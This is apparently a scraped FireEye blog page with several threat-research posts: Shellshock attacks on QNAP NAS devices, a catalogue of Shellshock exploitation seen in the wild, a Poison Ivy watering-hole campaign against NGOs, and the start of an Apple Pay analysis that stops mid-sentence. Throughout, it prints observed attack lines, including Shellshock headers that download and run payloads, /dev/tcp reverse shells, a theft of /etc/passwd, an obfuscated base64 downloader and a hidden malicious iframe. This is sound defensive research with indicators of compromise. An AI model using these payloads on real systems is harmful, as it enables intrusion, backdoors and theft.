Jump to content

Blog

Shield

Information and insight on today's advanced threats from the leader in advanced threat prevention.

All Posts


The Shellshock Aftershock for NAS Administrators

Summary

FireEye has been monitoring Shellshock-related attacks closely since the vulnerability was first made public last week. Specifically, FireEye has observed attackers attempting to exploit the BASH remote code injection vulnerability against Network Attached Storage systems (NAS). These attacks result in the hackers having a root level remote shell, gaining full access to the contents of the NAS. The observed targets have been primarily located in Japan and Korea with one additional target observed in the US. The only known data on the attackers currently are that two of their malware host servers are located in Korea and the US.

NAS systems are used by enterprises to store large volumes of files and house databases, as well as by consumers for personal storage. This makes an NAS an attractive target for attackers given the broad types of data they handle. In this case, the attackers can gain full access the NAS contents as well as execute other commands.

Based on the sheer number of devices which run an embedded Linux OS and the time-to-patch window, we feel the potential for widescale compromise of network-connected personal and business data storage systems is very high at this time. As many smart- or connected-devices utilize similar set-ups, this represents one of the first in the wild Shellshock attack against IoT-type devices.

We have evidence that attackers are actively exploiting the time-to-patch window and targeting embedded devices, specifically those made by QNAP, in order to append their SSH key to the authorized_keys file and install an ELF backdoor.

Background

This particular attack, on a popular brand of network attached storage devices, is an excellent example of the type of threat currently facing devices that run an embedded Linux operating system. As stated on the manufacturer’s website:

QNAP Inc. is the worldwide leading storage system provider who is one of the top 2 NAS provider in the sub $5k business segment according to Gartner Research Group in 2010. The product line covers NAS, NVR video surveillance, and network media players to consumer, small/medium business, and enterprise market segments.”

Virtually all of their devices run an embedded Linux OS that is vulnerable to CVE-2014-6271 if left unpatched. This includes personal and business network storage as well as professional video surveillance systems used in a variety of industries. This vulnerability is particularly severe because it grants root privileges to the attacker, and proof of concept exploit code is publicly discussed here.

shell1

Figure 1 – QNAP product specification page listing Embedded Linux as the OS.

According to the press release from QNAP, users are advised to disconnect systems that are directly accessible from the Internet until the proper update is applied. However, this would not prevent hackers from moving laterally and compromising the device from another machine on the network. At the time of this writing QNAP has released an update, which is available here.

THE ATTACK

Starting approximately September 26, 2014, FireEye detected thousands of attempts at accessing /cgi-bin/ directories over TCP port 8080. While this may not seem all that unusual given the current storm of Shellshock scans, it is notable because scans that contain commands to fetch additional files occur far less frequently.

The attack vector observed was the administrative login page located at /cgi-bin/authLogin.cgi.

shell2

Figure 2 – Example QNAP NAS appliance login pages

Vulnerable CGI pages can be tested for Shellshock via a simple test from the command line. For example if we wanted to test an Apache web server, from a test system with curl installed, issue the following HTTP request:

 

Figure_3_curl_ping

Figure 3 – command line test for Shellshock using Curl.

Where 192.168.101.131 is the webserver we are testing for Shellshock.

The above test will send 5 ICMP Ping packets from the vulnerable server to 192.168.101.130 (change IP’s to suit).

If the system returns an Error 500 and you see an ICMP ping from the target system then you know the attack worked.

shell4

Figure 4 – Example request to a vulnerable Linux web server w/ response code 500

shell5

Figure 5 – Wireshark view of ICMP pings from the vulnerable web server

shell6

Figure 6 – view of offending HTTP header used in our test

An even simpler test is available if the system is directly connected to the internet (and we found many of these devices are). Simply use any of the freely available Shellshock test sites and point them to the administration page of the device.

shell7

Figure 7 – Example results against an openly accessible QNAP NAS

We should mention that QNAP devices are not the only devices we saw with administrative pages in the/cgi-bin/ path on port 8080. HP printers were also caught in the crossfire. However we did not confirm whether these devices were actually vulnerable and do not believe they were the intended target of this attack.

All the targets we have observed thus far have been openly accessible QNAP NAS systems hosted on networks belonging to Universities and Research Institutes in Japan and Korea, as well as one in the US.

The exploit attempts targeting QNAP devices that were detected by FireEye attempted to instruct the system to download a script. When executed, the script would modify the NAS device’s startup environment; copy an SSH key; and then retrieve a Linux ELF binary.

The “curl” command was injected into the User-Agent field of an HTTP request to the NAS, which instructed the device to craft a custom HTTP request to nova.ddns.us. This resolves to an IP located in Korea.

shell8
Figure 8 – the malicious GET request observed in the attack

The above request was observed leveraging the exploit to download files from 118.218.219[.]179. This is akin to an administrator (UID=0) being logged in to the device and copying files from an external server to the “/root” directory and executing them. However, in this case, it’s all happening quietly behind the scenes without any user interaction.

shell9

Figure 9 – IP & Geo location info for the Korea located server hosting malicious files.

We detected a second server in the US at IP 107.191.116[.]167.

GET /cgi-bin/authLogin.cgi HTTP/1.1

User-Agent: () { :;}; /sbin/curl http://107.191.116[.]167/once -o /root/once;/bin/sh /root/once

shell10

Figure 10 – IP & Geo location info for the US server hosting malicious files.

If the request is successful in exploiting the NAS system, it will proceed to download a file named “once.” This file is a shell script intended to copy additional scripts to the “/root” directory of the NAS as well as an SSH key to facilitate future logins.

shell11

Figure 11 – contents of “once”, note the mis-spelled “autorized_keys.”

The script quietly sets the NAS’s local DNS to use Google’s DNS servers and then uses wget or curl to retrieve additional files and copy them from the host seen in the User-Agent field of the Shellshock tainted request. In this case they are coming from dynamic DNS hosted nova.ddns.us (still up at the time of this writing).

hXXp://nova.ddns[.]us/authorized_keys to à /root/.ssh/authorized_keys

hXXp://nova.ddns[.]us /autorun.sh to à $local_path/autorun.sh

The script then downloads an ELF backdoor to the local system.

hXXp://nova.ddns[.]us/term_$arch à $local_path/term

Where $arch contains a string representing the machine’s architecture, as output by “uname –m.”

In this case we used “x86_64” making the path to the desired file

hXXp://nova.ddns.us/term_x86_64.

We were also able to retrieve a 32 bit version named “term_i686”.

Both files are Linux ELF binaries unknown to VT at time of analysis:

64bit file MD5: 24bdef31e71342ae413bd2d6ee766564

32bit file MD5: 87a8da400230500026f674c9d0452a11

COPIED SSH KEY

An interesting component of the attack is the script also attempts to copy an SSH key to the local authorized_keys file on the NAS device, this allows future password-less logins, creating a backdoor for the attacker to the NAS device.

The contents of SSH key from nova.ddns.us/authorized_keys:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

The script also overwrites the local qpkg.conf file, which is the autostartup configuration file native to QNAP Network Attached Storage systems. This essentially configures the NAS appliance to autorun the “autorun.sh” script and maintains persistence for the attackers.

The autorun.sh script then looks for the directory “/share/MD0_DATA” which is a common share path for QNAP Network Attacked Storage systems. If this directory is not found, it goes on to search for other available directories with “share” in the name. The share directory is used to build the base installation directory for the malware.

shell12

Figure 12 – contents of autorun.sh script

The script also has its own update mechanism that will run every time the autostart is kicked off. The contents of update.sh were empty when checked however we speculate attackers would modify it at some point.

THE ELF BACKDOOR

The downloaded ELF executable, named term_x86_64 or term_i686 depending on the architecture of the victim’s OS, is a backdoor that provides shell access to the attacker.

It can be invoked in 3 different ways, providing some options for the attacker.

  • Running it with no arguments will have the executable listen for connections on port 58273.
  • Running it with 1 argument will have it listen for connections on the port number specified in the argument.
  • Running it with 2 arguments has it make an outbound connection to the host specified in the first argument using the port specified in the second argument.

In the cases where the backdoor is listening for a connection, a password is required before shell access is granted. Sending a packet containing the text “IAMYOURGOD” will have the malware setup and serve the shell to you, otherwise it closes the connection. In the attacks we have seen, this backdoor is executed with no arguments and hence will listen for connections on port 58273.

INDICATORS

The following indicators may help in identifying if your system has been compromised.

SSH KEY

Presence of the following ssh key anywhere on your system indicates that the attacker was successful in copying the key.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

Logs

Checking web logs for presence of HTTP requests using the string of bytes used in a Shellshock attack may also help identify exposed systems.

Requests will contain the characters “() { “ (HEX: 28 29 20 7b 20) somewhere in the HTTP header or URI.

LINUX Malware

64 BIT ELF binary

Filename: term_x686_64

MD5: 24bdef31e71342ae413bd2d6ee766564

 

32 BIT ELF binary

Filename: term_i686

MD5: 87a8da400230500026f674c9d0452a11

 

Network Activity: TCP Port 58273

 

 

Shellshock in the Wild

The exploitation of the BASH bug, now widely referred to as “Shellshock”, is in full swing. Attackers have mobilized—multiple proof-of-concept scripts are available, including a Metasploit module, making this vulnerability very accessible. The ease of exploitation, the simplicity of the vulnerability, and the extremely widespread install base of BASH, make this bug so deadly—and shows why enterprises need to apply patches as soon as possible. We have observed a significant amount of overtly malicious traffic leveraging BASH, including:

  • Malware droppers
  • Reverse shells and backdoors
  • DDoS

Some of this suspicious activity appears to be originating from Russia.

We suspect bad actors may be conducting an initial dry run, in preparation for a real, potentially larger-scale attack. We believe it’s only a matter of time before attackers exploit the vulnerability to redirect users to malicious hosts, which can result in further compromise.

The initial patch for this vulnerability (CVE-2014-6271), which was released in sync with the vulnerability’s public disclosure, was quickly found to be inadequate. It’s worth noting that the incomplete patch did not introduce new vectors, but was inadequate to close the hole created by the original bug. Vendors are scrambling to make a second patch (CVE-2014-7169) available, with varying degrees of success and timeliness.

So far, attackers have deployed scanners looking for vulnerable machines that have been bombarding networks with traffic since mid-day Wednesday. Through threat intelligence collected from FireEye’s Dynamic Threat Intelligence (DTI) center, we are seeing frenzied activity all over the world. While much of it seems to be the result of curious individuals and security researchers, there is abundant evidence that malicious actors are rushing to take advantage of this bug as well.

The Common Gateway Interface (CGI) vector (an interface between a web server and executables that produce dynamic content) has received the bulk of the focus from attackers thus far. However, the reach of the BASH Shellshock bug doesn’t stop at web servers. Any application that relies on user-controlled data to set OS-level environment variables and then invokes the shell from that same context can trigger the vulnerability. In other words, web applications relying on a specific type of user input can be manipulated to make clients (i.e., consumers) vulnerable to attack. The list of potentially vulnerable systems is long indeed, including everything from traditional home users and enterprise servers to Unix-based ISC/SCADA systems and embedded devices.

Given the sheer number of vulnerable systems, the severity of exploitation outcomes and the relative ease of exploitation, we expect to see significant use of this vulnerability by malicious actors, particularly in automated attacks.

The full extent and reach of the BASH Shellshock bug is still unknown. The bug has existed in BASH’s code for over two decades and BASH is integrated deeply into many organizations’ systems and architectures. Almost any type of internet-connected device that uses the BASH shell can be affected. While home users and traditional servers may be able to patch their way out of danger, many embedded devices and Unix-based ICS/SCADA systems don’t have access to such an easy recourse.

Vector & Vulnerability Analysis

Since the vulnerability was publicly disclosed on Wednesday, the focus has largely been on the CGI vector, which predominantly affects web servers. When a web server executes CGI content, it creates environment variables for each of the HTTP request parameters. This includes GET URI parameters, POST content body parameters and all HTTP headers. The script will then have access to the request parameters by accessing the environment. If the CGI content uses BASH at any point, by calling BASH directly, through a sub-process call, or by invoking a shell command (when BASH is the default shell), the vulnerability will be triggered. In other words, your CGI server might be vulnerable even if your CGI content doesn’t directly include BASH scripts.

The salient points to keep in mind about the CGI vector, is that it can be delivered by any HTTP request parameter, the server doesn’t have to directly call BASH scripts for it to be vulnerable, and it is OS agnostic. Its only dependencies are the web server, the CGI content it hosts, and the use of BASH as the shell.

DHCP clients based on the reference implementation from the Internet Systems Consortium can manipulate environment variables using data taken from the DHCP server. This makes it another remote vector for the BASH bug. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation.

A SSH vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.

Exploitation Techniques

The Shellshock traffic we have been able to observe is still quite chaotic. It is largely characterized by high volume automated scans and PoC-like exploit scripts.

The following is brief analysis of some of the exploitation techniques that we have observed in Shellshock traffic. Each technique includes a traffic sample with relevant HTTP headers and a description of the exploit mechanism.

Automated Click Fraud

Note: This has a blank line, whereas the ones below do not. Also, URLs have been defanged [.] to prevent self-infection.

Accept: () { :;}; /bin/ -c "curl
http://31.41.42[.]109/search/wphp/j.php?cgi=XXX

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null
http://ad.dipad[.]biz/test/http://XXXXXX.com/"

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

The No-Malware Reverse Shell Technique

GET /cgi-bin/ HTTP/1.1
Host: <SERVER_IP>
User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1'

Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself.

Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.

Stealing the Password File

GET /cgi-bin/status/status.cgi HTTP/1.1
Host: <SERVER_DOMAIN>
User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.

After echoing the string “Bagstash: ” back to the attacker, the exploit uses BASH’s command substitution. The “$(…)” construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is “</etc/passwd”, which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

Email-Based Reconnaissance

GET /cgi-bin/w3mman2html.cgi HTTP/1.1
Host: <domain>
Cookie: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
Referer: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
User-Agent: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.

The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.

Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

Payload Analyses

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

Reverse Shell Perl Script

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
User-Agent: () { :;}; /bin/ -c "/usr/bin/wget http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"
Host: <domain>
Accept: */*

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to 72.167.37.182 on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.

The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. Curiously, the script, along with its server component, is hosted at http://ww7.microtek.com.tw/Uploads/test/ttyClient.pl.

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;
Host: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;
Referer: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from: 104.192.103.6.

UDP Flood

GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*
Cookie: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.
‪txt > /var/www/html/conf.php
Host: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php
Referer: () { :; }; wget 37.187.225.119/conf.txt > /var/
‪www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php

The injected commands above download a PHP file to what are commonly configured to be a Web server’s root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be “microstresser14”. The idea here is to convert exploited Web servers into on-demand DDoS clients.

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

GET / HTTP/1.0
Accept: */*
Accept-Language: en-US
User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/195.225.34.101/3333 0>&1'
Host: <domain>
Connection: Close

The injected command above use the technique described above in the section titled “The No-Malware Reverse Shell Technique”. It sets up an interactive BASH shell to read in commands from a service running on 195.255.34.101 on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:

rm -rf /tmp/.lCE-unix;echo 
'aW1wb3J0IHVybGxpYjt1cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vMjAyLjEzNy4xNz
YuMTQ2L2ljb25zL3h0LmRhdCIsICIvdG1wLy5sQ0UtdW5peCIpCg=='>>/tmp/.lCE-
unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-
unix|python;wget -O /tmp/.lCE-unix 
http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 
443;rm -rf /tmp/.lCE-unix;uptime

The commands above Base64 decode the initial string into the following python code below and execute it with Python.

import urllib;urllib.urlretrieve ("http://202.137.176.146/icons/xt.dat", "/tmp/.lCE-unix")

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to 81.18.135.38 on port 443.

Another Perl.Shellbot Variant

GET /cgi-bin/hello HTTP/1.0
User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x *; perl nice.png"
Host: <domain>

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as “DDoS Perl IrcBot v1.0” in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to 94.102.52.10 on port 6667.

Tiny Reverse Shell ELF Executable

GET /cgi-
bin/ICuGI/EST/blast_detail.cgi%3FID%3DPU056535%26db%3DGenBank%26organis
m%3Dcucurbita_pepo HTTP/1.1
Host: <domain>
content-length: 0
accept-encoding: gzip, deflate
referrer: ()
{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64) 
; then /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock; 
/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock; 
/usr/bin
/curl http://82.118.242.223:9199/v64 -o /tmp/.osock; else /usr/bin/wget 
82.118.242.223:9199/v -O /tmp/.osock; /usr/bin/lwp-download 
http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl
http://82.118.242[.]223:91
99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"
accept: */*
user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 
Safari/537.3
6
cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | 
/bin/grep 64) ; then /usr/bin/wget 82.118.242.223:9199/v64 -O 
/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was submitted to VirusTotal yesterday with 0 detections. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from: 82.118.242.223.

We will continue monitoring the threats and keep you updated with our new discoveries. We would also like to thank Durgesh Sangvikar and Josh Gomez for their great research and contribution to this blog post.

Aided Frame, Aided Direction (Because it’s a redirect)

Introduction:

On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims’ systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation.

Activity Overview:

On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of the iframes. The threat group obfuscated the iframe on two of the compromised websites.

<div class=”views-field views-field-body”>       <div class=”field-content”><p><iframe height=”0″ src=”http://103.27.108.45/img/js.php” width=”0″></iframe></p>

Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address

The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request to this URI returned the following content:

<applet code=”NvTest.class”,height=”200″ width=”200″>

.<param name=”bin” value=’4D5A90……’

Figure 2: The encoded payload (snipped for brevity)

The ‘bin’ param shown in Figure 2 is decoded from ASCII into hex by the Java exploit. Once decoded, FireEye identified the payload as a Poison Ivy variant. It had the following properties:

MD5                  118fa558a6b5020b078739ef7bdac3a1

Size                 25608 bytes

Compile Time         2014 09 15 08:21:23

Import Hash          09d0478591d4f788cb3e5ea416c25237

The Poison Ivy variant was also code signed with the below certificate:

SHA1                     47:8C:E3:D6:CC:17:60:D3:27:14:6A:36:C9:88:77:4D:27:83:6A:D4

MD5                       82B582589D4A59BE0720F088ACAC67A3

Serial Number             581AE6B6ABAFD73AC85B1AEFBDB2555F

Common Name               zilliontek Co.,Ltd

Organization             zilliontek Co.,Ltd

Country                   KR

State/Province           Gyeonggi-do

City                      Suwon-si

Issue Date               Jan 12 00:00:00 2013 GMT

Expiration Date           Feb 20 23:59:59 2015 GMT

The backdoor also contained the below versioning info embedded in the RT_VERSION of one of the PE resources:
LegalCopyright: Copyright 2012 Google Inc. All rights reserved.
InternalName: chrome_exe
ProcuctShortName: Chrome
FileVersion: 34.0.1847.131
CompanyName: Google Inc.
OrginaLFilename: chrome.exe
LegalTrademarks:
ProductName: Google Chrome
ComparyShortName: Google
LastChange: 265687
FileDescription: Google Chrome
Offcial Build: 1
PriductVersion: 34.0.1847.131
Translation: 0×0409 0x04b0

This versioning info attempted to masquerade as a Google Chrome file. However, the malware author misspelled multiple words when attempting to put in versioning information for this particular build.

The Poison Ivy implant had the following configuration properties:
C2: quakegoogle.servequake.com, Port: 80
Password: qeTGd3485fF
Mutex: )!VoqA.I4

The C2 domain quakegoogle.servequake[.]com resolved to 115.126.62.100 at the time of the SWCs. Other domains resolving to the same IP include the following:

assign.ddnsking.com
quakegoogle.servequake.com
picsgoogle.servepics.com

Figure 3: Domains observed resolving to 115.126.62.100

Between August 30, 2014 and September 16, 2014 we also observed SOGU (aka Kaba) callback traffic sent to assign.ddnsking.com over port 443.

Links to the Sunshop Digital Quartermaster

The Poison Ivy backdoor also had a RT_MANIFEST PE resource with a SHA256 fingerprint of 82a98c88d3dd57a6ebc0fe7167a86875ed52ebddc6374ad640407efec01b1393.

This same RT_MANIFEST resource was documented in our previous Sunshop Digital Quartermaster report. FireEye previously identified this specific RT_MANIFEST as the ‘Sunshop Manifest,’ and we have observed this same manifest resource used in 86 other samples. As we stated in the Quartermaster report, we believe this shared resource is an artifact of a builder toolkit made available to a number of China-based APT groups.

Conclusion

This activity represents a new SWC campaign. We suspect threat actors are leveraging their access to compromised websites belonging to NGOs and non-profits to target other organizations in the same industries. These websites are often visited by organization employees and other organizations in the same industries, allowing threat actors to move laterally within already compromised networks or gain access to new networks. While FireEye has not attributed this activity to a specific threat group, we frequently observe China-based threat actors target non-profits and NGOs, and we suspect that they seek to monitor activity within their borders that may lead to domestic unrest or embarrass the Chinese government. For example, in 2013, FireEye observed China-based threat actors steal grant applications and activity reports specifically related to an international NGO’s China-based activities. We suspects threat actors sought to monitor these programs and involved individuals. The three organizations whose websites are hosting the malicious iframes have China-based operations.

FireEye is releasing information on this campaign to allow organizations to investigate and prepare for this activity in their networks. We believe non-profits and NGOs remain at elevated risk of intrusion and should be especially wary of attempts to compromise their networks using SWC. Threat actors may use SWCs to achieve this goal, but FireEye does not discount the possibility that threat actors will use other means at their disposal, including phishing. Based on past threat actor activity in this industry, FireEye expects threat actors are motivated to steal programmatic data and monitor organizations’ programs in specific countries. If China-based threat actors are behind the observed campaign, FireEye expects that organizations with operations in China are high-priority targets. FireEye currently has detection measures in place that should allow users of FireEye products to detect this SWC activity. It is also likely that other industries or organizations were affected by this SWC activity, since these sites are public facing and frequently visited.

Special thanks to Google’s Billy Leonard for providing additional information and research.

Thanks to the following authors for their contributions: Mike Oppenheim, Ned Moran, and Steve Stone.

The big bad BASH bug

This bug is horrible. It’s worse than Heartbleed, in that it affects servers that help manage huge volumes of Internet traffic. Conservatively, the impact is anywhere from 20 to 50% of global servers supporting web pages. Specifically, this issue affects web servers using GNU BASH to process traffic from the Internet. In addition, this bug covers almost all CGI-based web servers, which are generally older systems on the Internet.

This bug allows arbitrary remote code execution on a remote webserver, something that is extremely serious. Why? It allow the attacker to leverage the website in further strategic web compromises, such as watering hole attacks, against website visitors. This is precisely how many targeted attacks occur, with an exceptionally high degree of success.

What can enterprises do? The first step in this problem is to actively scan your infrastructure to identify vulnerable systems and assess overall impact. Most of the major Linux distributions have issued patches for this bug. Alternatively, switching your default shell to something other than BASH will help mitigate this issue.

We have not seen this vulnerability used in targeted attacks yet. There is a high probability that sophisticated threat groups will use this vulnerability soon. It is unknown as to whether these types of discovered vulnerabilities will escalate in the future. Finally, it’s worth noting we have seen the first attack in the wild:

https://gist.github.com/anonymous/929d622f3b36b00c0be1

However, this is not necessarily a targeted attack.

Apple Pay: A Security Analysis

 Has Apple taken a bite out of hackers’ arsenals? The company is betting on it. Its recent announcement about a new secure payment option has the retail and tech worlds buzzing. If Apple can implement its near-field communication (NFC) payment system correctly, it can absolutely increase security, guarding against the disastrous types of credit breaches that have dominated headlines. Being able to rely on NFC for securely making mobile payments could be a game changer in the current environment of data breaches. But that’s not the only possible outcome. As NFC payments become more popular, it may force new innovation and inspire more creative techniques for credit card payments. Apple is at least the third major player to enter into the NFC payment market, and it now seems increasingly likely that the demise of the antiquated magnetic strip credit card is underway– which also, ultimately, means more a challenge for hackers.

History Lessons

 NFC has been around in the mobile payment arena for a while. In September 2011, Google entered into the market with its product Google Wallet. However, its rollout to Android phones and adoption was stifled by the cell phone carriers, resulting in only a small number of phones that could use Google Wallet. The issue stemmed from the fact that the Android phones used something referred to as a Secure Element (SE), which is where the NFC payment system stored the financial data in protected memory.  Due to the use of the SE, wireless carriers requested that the Google Wallet application be blocked. This appeared to be a thinly veiled attempt to give the carriers time to develop their own payment system. In late 2010, Verizon, T-Mobile and AT&T created a joint venture called ISIS Wallet, designed to also do NFC payment systems (the platform has recently rebranded under the name Softcard). However, their rollout was slower than Google’s, only offering a pilot rollout by mid-2012. While this activity between Google, the carriers, and ISIS continued, Apple chose to initially move towards iBeacon. iBeacon is a first step towards proximity-based transmitters based on Bluetooth 4.0, and was believed to be Apple’s initial offering in the wireless point of sale offering. However, the technology never caught on as a payment platform. Both Apple’s and Google’s initial offerings met resistance, though both companies remained undaunted and worked to improve their respective platforms. Google’s engineers have worked around the SE issue by using Host-Based Card Emulation available in Android 4.4. Apple moved off of the iBeacon and moved towards NFC based payments, now called 